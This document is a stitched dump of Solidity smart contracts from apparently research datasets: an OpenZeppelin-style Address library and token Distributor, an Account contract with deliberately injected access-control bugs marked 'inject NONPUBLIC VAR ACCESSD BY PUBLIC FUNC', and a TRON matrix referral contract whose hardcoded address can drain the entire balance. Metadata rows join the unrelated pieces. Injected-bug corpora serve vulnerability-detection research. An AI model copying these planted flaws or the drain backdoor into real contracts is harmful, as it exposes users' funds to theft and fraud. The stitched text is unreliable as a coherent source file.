functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy() { require(newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint _amount) external; } contract Distributor is Policy { using SafeMath for uint; using SafeERC20 for IERC20; address public immutable OHM; address public immutable treasury; uint public immutable epochLength; uint public nextEpochBlock; mapping(uint => Adjust) public adjustments; struct Info { uint rate; // in ten-thousandths (5000 = 0.5%) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } constructor(address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock) { require(_treasury != address(0)); treasury = _treasury; require(_ohm != address(0)); OHM = _ohm; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } function distribute() external returns (bool) { if (nextEpochBlock <= block.number) { nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block // distribute rewards to each recipient for (uint i = 0; i < info.length; i++) { if (info[ i ].rate > 0) { ITreasury(treasury).mintRewards(// mint and send from treasury info[ i ].recipient, nextRewardAt(info[ i ].rate)); adjust(i); // check for adjustment } } return true; } else { return false; } } function adjust(uint _index) internal { Adjust memory adjustment = adjustments[ _index ]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate if (info[ _index ].rate >= adjustment.target) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate if (info[ _index ].rate <= adjustment.target) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } function nextRewardAt(uint _rate) public view returns (uint) { return IERC20(OHM).totalSupply().mul(_rate).div(1000000); } function nextRewardFor(address _recipient) public view returns (uint) { uint reward; for (uint i = 0; i < info.length; i++) { if (info[ i ].recipient == _recipient) { reward = nextRewardAt(info[ i ].rate); } } return reward; } function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() { require(_recipient != address(0)); info.push(Info({ recipient: _recipient, rate: _rewardRate })); } function removeRecipient(uint _index, address _recipient) external onlyPolicy() { require(_recipient == info[ _index ].recipient); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
76,459
12,103
70605eb4f2cdd8aa60839edf3291641640257ee498f9c0be5a18f51957b90dbc
27,937
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0xEE3126d2E585e8c496415D2C1ea6c658a20eedA7_nonpublicVarAccessdByPublicFunc.sol
3,455
13,575
// SPDX-License-Identifier: MIT pragma solidity 0.6.8; // library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // contract Account is Initializable { using SafeMath for uint256; using SafeERC20 for IERC20; event Withdrawn(address indexed tokenAddress, address indexed targetAddress, uint256 amount); event Approved(address indexed tokenAddress, address indexed targetAddress, uint256 amount); event Invoked(address indexed targetAddress, uint256 value, bytes data); address internal owner; mapping(address => bool) internal admins; mapping(address => bool) internal operators; function initialize(address _owner, address[] memory _initialAdmins) public initializer { owner = _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC // Grant the admin role to the initial admins for (uint256 i = 0; i < _initialAdmins.length; i++) { admins[_initialAdmins[i]] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } modifier onlyOperator() { require(isOperator(msg.sender), "not operator"); _; } function transferOwnership(address _owner) public { require(msg.sender == owner, "not owner"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC owner = _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function grantAdmin(address _account) public { require(msg.sender == owner, "not owner"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC require(!admins[_account], "already admin"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC admins[_account] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function revokeAdmin(address _account) public { require(msg.sender == owner, "not owner"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC require(admins[_account], "not admin"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC admins[_account] = false; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function grantOperator(address _account) public { require(msg.sender == owner || admins[msg.sender], "not admin"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC require(!operators[_account], "already operator"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC operators[_account] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function revokeOperator(address _account) public { require(msg.sender == owner || admins[msg.sender], "not admin"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC require(operators[_account], "not operator"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC operators[_account] = false; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } receive() payable external {} function isOperator(address userAddress) public view returns (bool) { return userAddress == owner || admins[userAddress] || operators[userAddress]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function withdraw(address payable targetAddress, uint256 amount) public onlyOperator { targetAddress.transfer(amount); // Use address(-1) to represent ETH. emit Withdrawn(address(-1), targetAddress, amount); } function withdrawToken(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator { IERC20(tokenAddress).safeTransfer(targetAddress, amount); emit Withdrawn(tokenAddress, targetAddress, amount); } function withdrawTokenFallThrough(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator { uint256 tokenBalance = IERC20(tokenAddress).balanceOf(address(this)); // If we have enough token balance, send the token directly. if (tokenBalance >= amount) { IERC20(tokenAddress).safeTransfer(targetAddress, amount); emit Withdrawn(tokenAddress, targetAddress, amount); } else { IERC20(tokenAddress).safeTransferFrom(owner, targetAddress, amount.sub(tokenBalance)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC IERC20(tokenAddress).safeTransfer(targetAddress, tokenBalance); emit Withdrawn(tokenAddress, targetAddress, amount); } } function approveToken(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator { IERC20(tokenAddress).safeApprove(targetAddress, 0); IERC20(tokenAddress).safeApprove(targetAddress, amount); emit Approved(tokenAddress, targetAddress, amount); } function invoke(address target, uint256 value, bytes memory data) public onlyOperator returns (bytes memory result) { bool success; (success, result) = target.call{value: value}(data); if (!success) { // solhint-disable-next-line no-inline-assembly assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } emit Invoked(target, value, data); } }
279,789
12,104
eb9d6e4b7233a7f3ef293a905c64724fe9f50cc3332dc0571cfc85ab9fd1970a
21,074
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TW/TWfYT7TXSPDLCZemUfzPB3N6mfoLeTxP9y_TRINKPARA_TRX_COMMUNITY.sol
5,291
20,024
//SourceUnit: tpgold.sol pragma solidity 0.5.10; contract XGOLD { function deposit(address sender, address referrer) public payable; } contract TRINKPARA_TRX_COMMUNITY { struct User { uint id; address referrer; uint partnersCount; mapping(uint8 => bool) activeX3Levels; mapping(uint8 => bool) activeX6Levels; mapping(uint8 => X3) x3Matrix; mapping(uint8 => X6) x6Matrix; } struct X3 { address currentReferrer; address[] referrals; bool blocked; uint reinvestCount; } struct X6 { address currentReferrer; address[] firstLevelReferrals; address[] secondLevelReferrals; bool blocked; uint reinvestCount; address closedPart; } uint8 public currentStartingLevel = 1; uint8 public constant LAST_LEVEL = 15; mapping(address => User) public users; mapping(uint => address) public idToAddress; uint public lastUserId = 2; address public owner; mapping(uint8 => uint) public levelPrice; XGOLD public xGOLD; event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); constructor(address ownerAddress) public { levelPrice[1] = 100 trx; levelPrice[2] = 200 trx; levelPrice[3] = 400 trx; levelPrice[4] = 800 trx; levelPrice[5] = 1600 trx; levelPrice[6] = 3200 trx; levelPrice[7] = 6400 trx; levelPrice[8] = 12800 trx; levelPrice[9] = 25600 trx; levelPrice[10] = 51200 trx; levelPrice[11] = 102400 trx; levelPrice[12] = 204800 trx; levelPrice[13] = 358400 trx; levelPrice[14] = 627200 trx; levelPrice[15] = 1097600 trx; owner = ownerAddress; User memory user = User({ id: 1, referrer: address(0), partnersCount: uint(0) }); users[ownerAddress] = user; idToAddress[1] = ownerAddress; for (uint8 i = 1; i <= LAST_LEVEL; i++) { users[ownerAddress].activeX3Levels[i] = true; users[ownerAddress].activeX6Levels[i] = true; } } function() external payable { if(msg.data.length == 0) { return registration(msg.sender, owner); } registration(msg.sender, bytesToAddress(msg.data)); } function setXGold(address xGoldAddress) public { require(msg.sender == 0x606527eCB96eD08f776c5220aFE8f41474772934, "onlyOwner"); require(address(xGOLD) == address(0)); xGOLD = XGOLD(xGoldAddress); } function withdrawLostTRXFromBalance() public { require(msg.sender == 0x606527eCB96eD08f776c5220aFE8f41474772934, "onlyOwner"); 0x606527eCB96eD08f776c5220aFE8f41474772934.transfer(address(this).balance); } function registrationExt(address referrerAddress) external payable { registration(msg.sender, referrerAddress); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(isUserExists(msg.sender), "user is not exists. Register first."); require(matrix == 1 || matrix == 2, "invalid matrix"); require(msg.value == levelPrice[level], "invalid price"); require(level > 1 && level <= LAST_LEVEL, "invalid level"); if (matrix == 1) { require(users[msg.sender].activeX3Levels[level-1], "buy previous level first"); require(!users[msg.sender].activeX3Levels[level], "level already activated"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } address freeX3Referrer = findFreeX3Referrer(msg.sender, level); users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; users[msg.sender].activeX3Levels[level] = true; updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(users[msg.sender].activeX6Levels[level-1], "buy previous level first"); require(!users[msg.sender].activeX6Levels[level], "level already activated"); if (users[msg.sender].x6Matrix[level-1].blocked) { users[msg.sender].x6Matrix[level-1].blocked = false; } address freeX6Referrer = findFreeX6Referrer(msg.sender, level); users[msg.sender].activeX6Levels[level] = true; updateX6Referrer(msg.sender, freeX6Referrer, level); emit Upgrade(msg.sender, freeX6Referrer, 2, level); } } function registration(address userAddress, address referrerAddress) private { require(!isUserExists(userAddress), "user exists"); require(isUserExists(referrerAddress), "referrer not exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "cannot be a contract"); if (address(xGOLD) != address(0)) { xGOLD.deposit(userAddress, referrerAddress); require(msg.value == levelPrice[currentStartingLevel] * 3, "invalid registration cost"); } else { require(msg.value == levelPrice[currentStartingLevel] * 2, "invalid registration cost"); } User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0 }); users[userAddress] = user; idToAddress[lastUserId] = userAddress; users[userAddress].referrer = referrerAddress; users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX6Levels[1] = true; lastUserId++; users[referrerAddress].partnersCount++; address freeX3Referrer = findFreeX3Referrer(userAddress, 1); users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; updateX3Referrer(userAddress, freeX3Referrer, 1); updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1); emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); if (users[referrerAddress].x3Matrix[level].referrals.length < 3) { emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length)); return sendETHDividends(referrerAddress, userAddress, 1, level); } emit NewUserPlace(userAddress, referrerAddress, 1, level, 3); //close matrix users[referrerAddress].x3Matrix[level].referrals = new address[](0); if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x3Matrix[level].blocked = true; } //create new one by recursion if (referrerAddress != owner) { //check referrer active level address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level); if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } users[referrerAddress].x3Matrix[level].reinvestCount++; emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { sendETHDividends(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive"); if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = referrerAddress; if (referrerAddress == owner) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x6Matrix[level].currentReferrer; users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress); uint len = users[ref].x6Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } else if ((len == 1 || len == 2) && users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3); } else { emit NewUserPlace(userAddress, ref, 2, level, 4); } } else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } return updateX6ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart)) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) { updateX6(userAddress, referrerAddress, level, false); } else { updateX6(userAddress, referrerAddress, level, true); } updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]; } } function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals; if (x6.length == 2) { if (x6[0] == referrerAddress || x6[1] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } else if (x6.length == 1) { if (x6[0] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } } } users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].closedPart = address(0); if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x6Matrix[level].blocked = true; } users[referrerAddress].x6Matrix[level].reinvestCount++; if (referrerAddress != owner) { address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); updateX6Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); sendETHDividends(owner, userAddress, 2, level); } } function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX3Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX6Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX3Levels[level]; } function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX6Levels[level]; } function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) { return (users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked); } function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) { return (users[userAddress].x6Matrix[level].currentReferrer, users[userAddress].x6Matrix[level].firstLevelReferrals, users[userAddress].x6Matrix[level].secondLevelReferrals, users[userAddress].x6Matrix[level].blocked, users[userAddress].x6Matrix[level].closedPart); } function isUserExists(address user) public view returns (bool) { return (users[user].id != 0); } function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if (users[receiver].x6Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x6Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level); if (!address(uint160(receiver)).send(levelPrice[level])) { address(uint160(owner)).send(address(this).balance); return; } if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } function bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }
293,343
12,105
185dcbf9de2b51e332c4ae2b33a7cd9a46575f46844a081d493f0d89f9332ff4
14,965
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
